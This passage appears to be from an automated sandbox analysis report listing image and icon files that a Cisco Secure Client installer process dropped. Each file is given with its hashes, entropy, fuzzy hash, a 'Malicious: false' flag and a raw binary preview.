MD5:	5B846635AC3DA9C8E857C042ED0EA2F6
SHA1:	B439FC64436B74900F453ED2480C8CA547CBCDCC
SHA-256:	9C6135A6176AC9D00E1BD4307A3111BBECD39814DB18212DA1D55916A4EEDB4F
SHA-512:	0A58ED5105CFB87DD3F91675734171989C0A36B572BA2D20706CC831E0DAD9DB37175754E405680B4DEE4D6D958DA63B89413E2B6D2725A84C95932F8D123323
Malicious:	false
Preview:	.PNG........IHDR...............M.....pHYs...#...#.x.?v.. .IDATx...\|....O..ZY.Z..!XT* ..,.%...n.R...R.,..)....Vy+..[+..DmA.l).&i.Xi!.XwB.....c....o.;...;..<.L2....<.l..{.9..s(.d..#3;....5...}....]#i.On.....F..G,O&}.]..m.l..rN.k.Jm}Me[...n........Lwe:...f.}`.k7]8......D........v.'(....t.E...^.v......n.....HO";.{.l.2...DX.6._.../.'.=.'9.#....9=... .z....-.>p..~..G......:H..=v...SV.....>..K...w....PYI.....G.mx+2;]az...\|...>{...............m.j...'x.........n......q..T.9.ew........j'...W..D....-......6)....N2k.,z...+......0..z.x.......z.&./..?..;.0;..+....7Zg.w...B.Y..qD.....9..G.......9~........S...O..._TTT...Qy\[.(..#c.k......<..]k.^.c.Lv".5H... e...D./N'.E..tJ....TO.L?A......'..n.../.....).vwA.bgRS..m.....+.m]~P'8.m.......p.t..a.=....Y.I...$..nO..$....~......m.7..........P.$g.......#.a.>c......;...Y...\.\|7.]...S.z..C....=..c.f.2{\..g.h8..v@(....4.....e..fj..Q..{.E.'..../j?\|.v..]s...R.......:..;.t.8....'.....x5..#...C..djj..U...8...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_vpn_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 200 x 200, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	8594
Entropy (8bit):	7.973082494080156
Encrypted:	false
SSDEEP:	192:IhgOYUbtU91yZQm0IZ5GE1njVNMooVREvukNGEsuiaoYOyF40:IhaUpU91ScIZ5PjVNaREvpjiao4+0
MD5:	D1F876BC1C789A4108570185251B864E
SHA1:	9F91D3B837191A9499CD2959EC1802CF444D78AE
SHA-256:	DF137D0086B1A5DC1A0508643AB8DBE66A0A268A2A5E7A539EDF39F6957AF1AB
SHA-512:	4E1D5AE2D6539B38EDEFEC017B41DD50D7EA41AEF9B6783538D8D19D9C14E2D9411D2DF86AC672BD6B171A507F77EF2D4976003206DC4624687BA4588BAA6688
Malicious:	false
Preview:	.PNG........IHDR.............._......pHYs...#...#.x.?v.. .IDATx....U..G!o.<.........Mi@...t+iV@[H.X..-MZ...6E.lZ...X.>%jW..&..]-P.JV.<..Z...Rt..@M.mM7...9sg..;s.{....s.3....o~.H...w.......-...-.<.......4.5.y..d'....7......b..{.....]7..?u......}5y...M.k...`..U.w.............>.}...h..s.... ....Gu!....[tc ;....F...v...k.{.x.'U..;..-..'...B.Y....I...R..0Zw...`u.C...\|].....m...y...V.I..?.L.;.8.....Ez&\h.'y.........;...-...G.y/9....}...S.@..+._....a.9WZ...._W+-.B.>.m..:....o..\...<Mu`.a.........o..w.]@=/_\|9Y..~....b...>.dk..4VY...5...v+r"...qw....sm..&.]."y.x..I...kt!fw..Xx.....\.,}.=.gH..AgA..xV.\t..".0.(...8a\.QJ..k..Hu..........E..l/...4=x.54l..$j.k3M.../.l\|r.=...K.Rt.Z..........N....v...z..S...1^..u...P..j.BF.W...iH.....n).....=.s8...!bx.N<.\]....,.6..`..b~8...[..X..o..R.X.`!BiZ.0...t.im..o....n...s...\|W..<....K.by..o..l......{.KMe.....g.n5..b+w.B.Ilo...M?.V:X...!..&.KJ...?...Lj......._.~...l.}...=..HO.@?!d_.O.Vy.....QI=..b4...8t

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_ws_attention.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4117
Entropy (8bit):	7.943813748161345
Encrypted:	false
SSDEEP:	96:79m160UrZetyDZrcRzRB+6nB49EkDPzkWb9PhkqjhqBx1DNo:79G6xr6yVrkzRB+UkEWb9pji1DNo
MD5:	04127248AAA5B7D32DC2DE4F02DA025F
SHA1:	6509E437F6503A9975953B955054D29ACE439D5F
SHA-256:	946B8C23BF05558B52D273502A65731A5E412C9E02A544748C5E5C27A3ED6D0D
SHA-512:	F26907895DAAEEE025FB20BCD22803F1151A5D5037B85FF1DCD71DA98E78C417996C08759F646D8E463FB6DD43A36F10092746D6520F9C70BE4AC03AF3B5F48A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<....IDATx..Z.l..u~s........)..(.,KQd.Ih...D5.q..(..@."6..E[.P...r.F..5..H..@Z'h....(:...P4.S..]..=..{..R.D.....@.;...w\|.{..............@.DW.8........`.@/.!.N....o..r..D.\..]..? .";U_U...R../q.b.e.e..%-S..J..._1.....0...P(.....!........U.......kg.6...-....^.m...8.....E..3E.r}...._..fg&..............f1.....B.u\.g....zz.w...NWoc.... ...m.....9Z.'.....l..a.L..?.KX?>?V.:84X.../..7...._....#..zT.~.{wu..B......VI.l...e..F^.l...Hy...1..4...[.p......S....j./.t.0..c..O..Z6wGiw'..h........8..`w.g.5.Q..&.Gxd...@3,..z...8.T...,..VAP$(.tm... .. ..........\.`.Q.hQ.I\v.].....N..............}...@...%...........x.x.DU.e$..m.5%..(.A".X.d@r...d.l....:.B..Q..U.H.5....X...k.'...p.>.ZCWo..{...j.2...[....Fg...0.\T...4d.'....%H.....@.k-...4!.+..B..Obr.=948..BgK5?..;Sv`.....)\d........u..}.pw..G.s.TV..R.<.7S......0}.......h.9...NG... W4..<*.!..>.U....;c.>..Z.sR..<w......I.....G:.>..#"...%...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_ws_error.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4267
Entropy (8bit):	7.94257084168463
Encrypted:	false
SSDEEP:	96:IqGbLvTlphRGJSqAeFg590km/kqzrxsoCeaV6XjNfUmhPRD3el9:ILhKFZa0PCPiNfU2RCL
MD5:	7014A8C17D7E8E5A2BEDB4C4E0C12E80
SHA1:	28881EE38814E155FA7B1E0096801A644CAB6548
SHA-256:	BD9514FA182DE90450B6E6E3EEDB2E084CD1390D5B6FDF0509B81EC36B963147
SHA-512:	B2B94E806A4F1F8BACAA2870944C75952A9C9F0577AF6571BFF65038DCD242AF5B887E400430E8E8B0B8E8BD2BA7A7318247581304C668662A7A6A255F142A12
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...MIDATx..Zyl..u.s......x..$J.i).l.......6..8.k.h`....(Z.UZ.Q.-....4n...l...6r.@r.#J.K.M..O.7w.......{..R.E.....@.vvw...{..~..~....u7.).......Np..r..K.(f..%!.LB1k....p.......E..l.........x.."{$.Wl..hY.lAO.R..B>d....c...D?................=...[....N....;.\|..d.T.&..q..."....I...pi8...?...6...s.R.....z.......U5.pM{.j..C..k..wW.....W.e..X.....9"...Q.@.y.G.,.x<....Y...]....\.wn.........YsI..+.....m.?.o..^...`@:]...w#.sv....x....@..0As....!...j.^.q.~..G..z~x....q.....J..a......6=td.=.M..Z.k..,.#......i.......xP......S.A. o.y.`A.C.i%..5~......_.Y.?/.%.=z..dr...N..X.lz.....\|......x.s6.d.". ........l....@Te.C.)..E..@..%.$..e.&..r..g...9.]k}.t..R...%..6..{............G^.o....F.!.F..Ar*`.<....L...&......S..y\|..,$.Yp......A.X.t..N..q.....d.p0.A[S....m...2.g..nr...U...../.vu.........Z".Cl6.....Dt...s2.....l.`.(Z.x.2h...3.f....M.<.F.H)......q.H..p...n.M.......T..._..v?..5(x....

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toast_ws_info.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4052
Entropy (8bit):	7.943954771539964
Encrypted:	false
SSDEEP:	96:YVzyamWl9ZWA1xj7kdJwie8o1NqPw1AT2Z1OHXe:q5t9ZWmlsy9qPw1AT2Z2e
MD5:	0356D0A27BC2E9B55F5603D0373CED4C
SHA1:	7572FB4DC3B1CEF66F38F68A29093D3FBE706A5E
SHA-256:	E5427AAA99BFC3CC3886351EC9B7C4C524799CF4A0DE0E0CF6D8DE3C0DFB8743
SHA-512:	6BB3E1168712BCAE7F5B67F92A60B58B74162A01225AE264B0A72CDC2CE0C3943A7E9AE47406AFBAE44C25870A877C5EE83142C40EE4BFA6C57DEC495B1C53BE
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......tEXtSoftware.Adobe ImageReadyq.e<...vIDATx..Y.o\.u?w.3sg..E..H..D-..YV.8n. J..H.......>...C...@..M..o...H..)...]4F....%...Lq.9.>w..\|3#.L...h...K....9..;.\|C...%}..)a...8..8IJ.H.;o.6.W'.Y.F.L^...a@(....K.)53....3...P,.2.=.I...6....]iV.v....r.....~yk..ej6..]...._8M..R.g.......f.[.......e,.,..i.I.D-.j..J.n....r...U.\[./....U6.$o^..ZE..7@J..I....5>.[g.:..gfBs.qy0....A..........HU%RdY..t=.,6....../5..;.\.....+/x..O...h'...1...8w~..o^=......v.Vk....wc.KA.:..."....D....)..R.e......}..{..w^.....Kd..}.]?7..lJ....O<..o^..../_>.d-.<.i....`{>.O>.w`./.dF.Rt...I..Q..{[0..J..h....T....RB...;.........]o...H...s.._.......L./O.P.....WT.P.A.....@..%RM....6@{....R5....5....M.....~....I...1s.K}.$..H.}./o.=...:..th...9=w.....(.R'-l......Lx. ..iP.iCu:.`.....\nP8.".......VoS8bR.......:..-....7..L).......M.j.rlv.......~..A9..ux.T.)_.S$.....6..<g..{..7..0...+...&h.f..%..\x^.h....1....(.....u):.S.N....Z....i....?.L_..+..%...]x..o...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 375 x 23, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.305816801627044
Encrypted:	false
SSDEEP:	12:6v/7B0J+UJbp92cDPuY1qHlnv/pebLaeb9Lf43DQ6TjpuIXG13DQ6i5t2c:0erLYWuqylnv/pe3aO9KDUIXO3D+/
MD5:	894AB8F4298F2238292E31BAB5CCAB10
SHA1:	FCFC29B4E5BAC3C59EDA1F8837087E768F7B0A7B
SHA-256:	7C8B5EC8C7DE5405AAEE5B1E92C605020424AED8AF830C2429ED47883561A39D
SHA-512:	B7F06E961C2C2BAC0EFC5633E213D90E3206093593988BD04CE84DA13B1D1B4F0B83DEB77FF247E6681A645004FD37C2866FF83EB7A6A5E3E581B0868AB58C3E
Malicious:	false
Preview:	.PNG........IHDR...w..........C......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>.L.'Y....IDATx...... ..A.............. @.@J...C...._..+.......=.T... `.u....A...\|.H...0.:@.....q.>U$....w. @.@P....*........ @ (`.O......]... ..0....D.............SE"@..q........{.". @..........=.T... `.u....A...\|.H...0.:@............X~....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.848629133083243
Encrypted:	false
SSDEEP:	48:gySVFiuSZgKTkBsSS/Z89Vn1MM1DCINukyd5Wb:gySBSZCqBhen1MM1CINgsb
MD5:	85D427479A5F8E6F69DEB0A5EC7E6DBF
SHA1:	95414451D6AE9B130831A1C297151F65AD849A6C
SHA-256:	CF8B60054D290DFA6BA59086BF18F5ED0718C721B4ADD200AC95275E5457AB58
SHA-512:	58248F232F27441ACB81B0A6AF2272D19EE1710101C3675CCAEA4BA3CE8A74D664053C58EF2D9C948F2ABCCA4F30B5ACF633A2EA53C8E260BB40FA6F1214151C
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..]+s#G..K..N0P..Nf)..0... ..v......l...P.{(.2R.Yf...,a.U.d....3.....g.,..~N..$$$$$$$$$$$$$$$$$H..^.b6h.@W}.?.V?oc..O.....x^_...lR.A.......=[,.zX}..S.^..y...8!.@..4...i.5..l...sEHl..p........D.HA2..K.)....:...l.Ud.k.........:........p..Re.J...U.Y..9(.>...%....a..e..V........D.:J.eL..GJ6.P.....3B.kG...wgCP).?.5qH....85\|.tel.q..W..=..[.u.....w.3r..k.....RR.B....$....].}../.@.71.s0b.bNH4=m.l.^I..`.".. 2...X...^......U..s.!d........~..;..J.f..,)..T..V3+.g%.T.G.b..K.r..=.GF...GT5.s..N.l..:.$..,!.T.......r$>.H..1...Q..}.~&..z.:.iF.}@b..mP.....!B...e..R...A(....U.#..o5&a.43..."]".._..m.......7.G..w.5q&..V.............,.+)\.;.0zw.Th....;.!..^J..-...:L.L.iM..g..Zgq.N8.qhYd.?.7...=t.iL[..B........yi..L...q8w..>..x..p.O..VY.u.s....%A.....`....n..L.f...6_."..R.D...8..^...>.N.J.1.;.T....-...}~.M..J.:...B..{m.L.m...>.J;.\T.=).xQ..u{...f........!.)y]lck..W^.v.T.ms...%^..,.b..]ZZ...u.^...

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_help_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	478
Entropy (8bit):	7.3703130572324955
Encrypted:	false
SSDEEP:	12:6v/7xE0NSVUvFAccOOfACD09VvVupRqR5/MXMmxHlWX:YY+vFr+cvV8w3MXMm+
MD5:	D3BD002D9E657FC264347FE2FE45EE8D
SHA1:	8EC6528F2E8A07036C5D5F439FA0438C99CE814E
SHA-256:	B17D8F8BC1B971962A798743630816DFEF50526A2692BB458A7B1B6A546D28B0
SHA-512:	3BF535A63BCE729ABD443CA4265147DB46DFF698BC2AA27C7FFE430527F7C4FD921AFFBD6E789BC00EAC4DFFE300E82488A8C4886DC9D629DCA6B5CF905C0624
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH..U.m.@.}E. #d.n.. ..a....2@.6.p. a..AG...}..A.U..% ..g.g........u..%.w....'(.............%..{...S..p.gc.\|...Y......\|`I.\aZ..5..d@..>'.z.7.)....b...P.'...y..4.l...+........I!{......w.eFV...d...H....xZT.c.F.=...f/.Q...".......BF7.a......)....\|`..m.o..=.f.........%.d.._.........z!..&,6.;KwN@Z.<~1..%...b....L....<...k8.c.'.....+.&.dE...o..7.....ke..M..Ot..N..^..n.~............IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_help_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2245
Entropy (8bit):	7.881067272381913
Encrypted:	false
SSDEEP:	48:RTfEfdH62oMLD03CqIngSp9wZM/vgRzmD0XQ8/CvbJkfG2:RwfYHt6qKmzmD0g8/Cv9kfG2
MD5:	FC4A9201524066297A4C6DD0760D646C
SHA1:	7B6B7710A1B9EEDAC515FEEE90728A405AC07937
SHA-256:	B19294D4FF3378820B91BF8D2DBC53CB9C8BB531A5CA7E0F4C728AC757C0CD29
SHA-512:	2597C04C2740000747731CB3FF55E7C15675D86578CD0FC73A8F04D84CD084142BF0BFAE55DD81B6AFA1CDE2585EEF233B9BBAB1C05655B3099FA1BBFAECD3DD
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...wIDATx..].R#9..w../..2.c.+..'....O.s..X...y......oD.s....g........nukZ.xo..,..f>...[..0`.......0.....y.bvh.9q.w.k....}_.cj.....1f....e...._R..}...1g...W.X.,9_L9/.>D..E..qi.3..&....h..C.....)....3.RI.aU.%...U.qd$..Yu..#CK5i..s...<..3K.u...F.r.R....V.c........>..3)j..>uhC.4....v.J.jm..c.L9.......8..WA.....x....j....3..:....>.c...95.\|.eL.qI...V0+..'.l\|.........0.. .)..V...z;..M";q.c....bv.T.K.....Fr...];bT%[...!.#..a.5..P..]Rx.X....Q.>1.F..=Rx.,L9.........ck,1G...'....#d...X@....w...'g.:.;)..S..vo..A...#..yo..M}A..+!.Q....h'....$<y..N...\|..n..!.R......_.Y...1.C'G8)~.D.....H..-Pu......6N.>..0R.j....qP...../.9.]r..........."...<Cv.3r.(.W(.B$......N.....{I.R..Fok.b.-Pq_.$`q...A.KLu......8.....x..=.?...).t....PyD.0.m.........n.`/......zd^....I%...4.^.4C..!/w......l.HZ..l...T.>...KgH.5...}..+.6F.i.....4.6%.....A;8`6q...Z].av....]']v.....W........L.W.R.MK..?%^R..RcL.3._#...G...1.{..0F %.h3....k.B.>r

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_help_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	543
Entropy (8bit):	7.547901309478316
Encrypted:	false
SSDEEP:	12:6v/7CWdT8JNBxFtHpTJKAghnooED91TFxff+Tye5N3Q2+ah7:KT8rBztJYnCjT3+TN5N1B7
MD5:	5D99349B36EE267BD85E3A4E4C8B9D09
SHA1:	AF5F88451BA51F5FBAE5D3D603655138EE78D27F
SHA-256:	84EF9A5D991E3B3E68AD6F7B8F2D9F279769DC9D27BBB205C3AB9B2BC1607ACA
SHA-512:	58C4E4CDD9B7D5C660A40467F504137D1779222AF24DAFFABB495DBD476A65940E93EF7E8EE7F9BF69A4C4F560D6BA5FB4EEC4DE81C77E4383A24D7B0110DA85
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...R.1....y...U....kx..p.9..>@....' (d..=\..p..$....z...;s.In.}../..m.+..4..7.~...@e]...Wx.....~G.2.x+.6J.<&^..).Y.S....Tv.<....,.+..`....G>..Q!".5.h.l.}.I<...S....t..>%r.0w{.1.mE .@.K.6.-........./L'S.7.\|.j..]Z.w..<.'.Kk...`..0N..L..7_.(...C........8,.9. \.T.......K...\..0..L....:...!..}.$.(QQ.....T...../.)dzT..5..iu.......N./.....r.>}.&h%...x....o..6W...B.(...z.a...0w.....BYf.%.{.$.y.NUt.@....F.T....ge.:v.m..t..xp....d......o.>.....0....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_prefs.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.836409910643584
Encrypted:	false
SSDEEP:	24:MSsuOJ3aklIveNn3uRjOIi4d6R2LA+KdrIF0Nl3BqL7goSlO2Ywdq8XLxTGO:MD35lIvmnsT8gA+GsFvkoSVdxl
MD5:	2A93A2F714FAB48B6CD5BDF1533EEFE2
SHA1:	727D59B41389E63AD6149117E83035CE8DECD59D
SHA-256:	7982204EE803716D70B99C224A4A1F3AA10CA0AC012CF33802A3E305B72AB8AF
SHA-512:	B4F04174C5B0691F65C4304B5EFC23C5533FF72092F15C03EDBBFBA103158C79FD0F890A7509EF84D85CD662AA849525FDAE1BE9D91016214BF5B1262EA735B3
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v...XIDATx..=R.X..{w.l8..8#..-...f.'.9...lhs.)...N`q...!...=.I7.zz-F.H..7._.U.3#.^.[..Z..(..(..(..(..l).e}YE9.....U.[qy..W)Ei....GP-A...=G......b....R\..R.h..}.]W.>T...Pt.j).Vp.,.....y1c.......jx...W(Zr....xv.\|9..%....$g5.Z.'$.r .......7r..b.y.P.....1.(.)V..P-.Q.._)k..1.t.._....W.R.o...O.d.n................Cl....r.E...m..P...6..,.[!],.m...]..Y-v..6.j.p\c.g.2u...-Bs......k{........^V....e.F...N.u..=.Hw..1..&.....y^..i].E.B ..{.}.....n0w......1.ES..m....p.....R.Q._......gF.Gp.#..v..<~.;t.Xr.nx.bs.K.s.c..<.j#Qf.6k....x..{.....}.?;uS..{.y...y....<..9Q.c"..I;....;^N...n% .O....<.V..;......G..+E....h-....M.T-....."V..G[...S..~r...-.L"f%0@.1.Zx....0 .]d1+.Az.~.b...d.......b....Z.......k.YZ.m.q....WX....0..G.T......]....s,.obV7..D.7h.2r..g..(<J....+..(V...y[.!f..Z..>..".I..t....ab.v....M9...)..U.h..M#.....JA/.VP.>......wB.......^1.....d..R..9Orm-.....R.C..%..(...d...J9#6...{TpXJp....j

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_prefs_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	417
Entropy (8bit):	7.261808950496785
Encrypted:	false
SSDEEP:	12:6v/7ye/67M2KK09AtPNFPQM7vcvei4A62GCv+OQRWqxEz:de/YM2KYBTcKA62VWvE
MD5:	E49813F0A990FD98318710C0F0BFDA21
SHA1:	FD09D47A8BA649393221D5048D3BFF1FFADD3496
SHA-256:	79C957FB0133496B0266E8F5441982D3F1DAB781B90FBC34F59D75968577CD61
SHA-512:	8883387871CBE8B3778F5D95A95700D99B7D4737696051436C06060C645F83E25255A76AA73CD5BA1B03FC5797D8F6B99D1B0E489B5421D26D4E7DBFD358EA65
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~....SIDATH..U.Q.0.}e.. ...............N@..3I.A.!.../.......r......SXTW.t..3.n..g.....!/k.t..{....=.^.+E.U..KD.@..@..)..sV...7u..[!_+..F.......#.......?$....3.t....;8.D...N.pv.H...Q\r.....T.t..t..F......~....1a3g......Y..L.#.F%..-.(.o...bl.}..=...T.d2.[.x".m..b.V*./........T...(..+.>[F5....7..j..2:....-;.....P.w\|j..d.s.........&.cO........IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_prefs_hover.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 101 x 101, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1856
Entropy (8bit):	7.845521158056495
Encrypted:	false
SSDEEP:	48:M5K2A2T3d0z5uOpdNSaQfbDS3YsPWaU3SjmUjm42rh:Mg2A9z5Fp1W3otPW5p
MD5:	AFAF04A11862845AFC31D64F7762D28E
SHA1:	C5E99C3DC321086738CB7BCF13EFF55EBDF1D3CF
SHA-256:	6797601AA69F2B489ADAB85A6DA73E78D4E041D24598BC726A3E837D2BE2D75E
SHA-512:	3D463D3EA19E87E8B592974BF4B69F4F6F5DE08975BB04AB0C180AE7CC49C9866E7B40F2D5890E50E7BF0FE2F8830125335FECB7C4FED8F2AF6045F8E66E18B4
Malicious:	false
Preview:	.PNG........IHDR...e...e.....T\|-.....pHYs...#...#.x.?v....IDATx..r.F...I.t..X...&T..P.JT....d.)0..@.....I.T...~..L.9...".....s.7..{D..\|..?w.D".H$..D"......$...h..{...#..C..6dDt...0..]..6.v.<.,.....8E.k...$.h..j)..s...C.XE.r]5\..E\|..].bDY.....Rl...\X..p]WMt.,..Q..O...Oe...........\..b...1.\|BY.f.r.d.5.]..#e..h.u]5.y%...DtGD....q_Z.m.Vi.+......5....{G.^~'..-.8..Xx...xK.-...[.a...2_wa...%....E..!...m1XKi.d...r...o.v.>.SIeq..)m....AH.....^.F.?.....w...?.s.G.......^r...G.(.viDh.X....O.>..+..5@....9....+..]W......m.emb!...../....W..WS?8d.E.<.Q...S...!.!#.R.u5........4..Qn.F.G[.PYQY@...D........\|..,..am....h..k..e"0'....IQJ..@N..7...&^.Y.S..........Q[o..../\|j":.xnb._q...{^c'..Lz..!(.t..t..k.X...n..+................xLkzz....W..RVr.....Q.wy.T.........]... $n)d..#..........%..}.Hx..q..,T7..F..v....=7p..$(....].S.....D......=...m.B.......ML ..%...X...U.*...e..H..EM.?......].....D...o.).M...W.P.h......=..#..4...Z..0Yn.E..?...K ;K.$..n..Zq-A..

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\toolbar_prefs_hover_24.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.339402871750466
Encrypted:	false
SSDEEP:	12:6v/7IEzFffWxjBiqsoNKXcQjmUVQtaaHI:hI0RBiqJycQjmU6t9HI
MD5:	AE59E69F9BB8D40D28E2C195A5F131BD
SHA1:	1AC9ED0DD66CEFA5F515A8C0D51A3E26B7F2F6A9
SHA-256:	271F2C4002F0127CD049A9BEEED8474FACED3217E7BB0C6DDEB8B34F8536FA8E
SHA-512:	D69C0C2F7C190D1795A5C6455949C0B7F63D678785C170D8DB4A7D3FF88A048D954C8236E750D2F38CAD6CED9072DA7E8E3B5B384465074637D43390D9857C26
Malicious:	false
Preview:	.PNG........IHDR..............w=.....pHYs...........~.....IDATH...Q.@...:..;......C.2)@,..:.........(.9.........0....v.~.?.....j.....g.>n...z...u..NLU...;..2.s`.\|.$...4],....Y............H.......G~.`$.p..^!]dS.UT.jE.%.......T...Y..O.....S...(.O.\.}..E{..2.p...s.._..,.D.wP.....DK.v...el..\|..w.~.....{`))v.. .6^..y..rm:R}.L...+..<."..r...y#D9rD.Sd.Y..D_.o~......\.....$&;.1.6.<%...v.-.v3.^-M$ejU.4?%.K4..Y.R..Sm..'.AW..E....>".....^=.Y.......j.d.h.....IEND.B`.

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\transition_1.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.5904244181066343
Encrypted:	false
SSDEEP:	96:qp/EF2cJeBcktRYgD9qsSyGrnPblkbGgmo:YccB8lPbGHB
MD5:	A1C46D32AA7BCD14A8DB10005E23B885
SHA1:	8859CD29B7D6A9D645C3B09D8AFAB041D3BB7A37
SHA-256:	66DAAB72327F0E98FC3006DA7B0F957901285993388BDE25D6149464A98C9442
SHA-512:	16CC5F81EC30BC027D6C3268383463968DD9E2C0A0A3BBDA8059BF8DC6A99853ED27CD1E1BD955ACF2F98B5B0693D5A2AEDCC69261F2E06B065ED11684179AD9
Malicious:	false
Preview:	...... .... .....&......... .h.......(... ...@..... ..........................@...@...@...@...@...@...@...@...@...@...@...@...@...@.........................p...0.............................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.....................................p.....................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..M'..M'..M'..M'..nP:...w................`.............................@...s...s...s...s...s...s...s...s...s...s...s...s...@..M'..z]J.z]J.X5..M'..M'..M'..M'..z]J......................................@...s...s...s...s...s...s...s...s...s...s...s...s...@.........................nP:.M'..M'..M'...................................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................M'..M'..M'..M'...xh..........................@...s...s...s...s...s...s...s...s...s...s...s...s...@..............................cB+.M'..z]J.M'..M'...xh......................@...s...s...s...s...s...s

C:\Program Files (x86)\Cisco\Cisco Secure Client\UI\res\transition_2.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5I04T.tmp\CiscoSetup.tmp
File Type:	MS Windows icon resource - 2 icons, 32x32, 32 bits/pixel, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.612237043911612
Encrypted:	false
SSDEEP:	96:SPEyydQzC5enoYfFMdIDhjdmrEEN4kbGg2o:SFS5eno4FMyADNHx
MD5:	CAE552335F760EE1FF87D686F972BEB8
SHA1:	676A5070DDD6218C274FE01608754D06E735558A
SHA-256:	615057C1B8C472DDF3D6B48284DB764F3F4FE8A159FD479B96C401D0BEE82674
SHA-512:	876B7077A8DF9C900BCF1CF8D5AF98A3B84A7D31412DEE05CAF76ACA215B771EFD5CD5E8225175E822BCE24239A57F841D1DDF633B3C68599D0C401AA98BBDF9
Malicious:	false
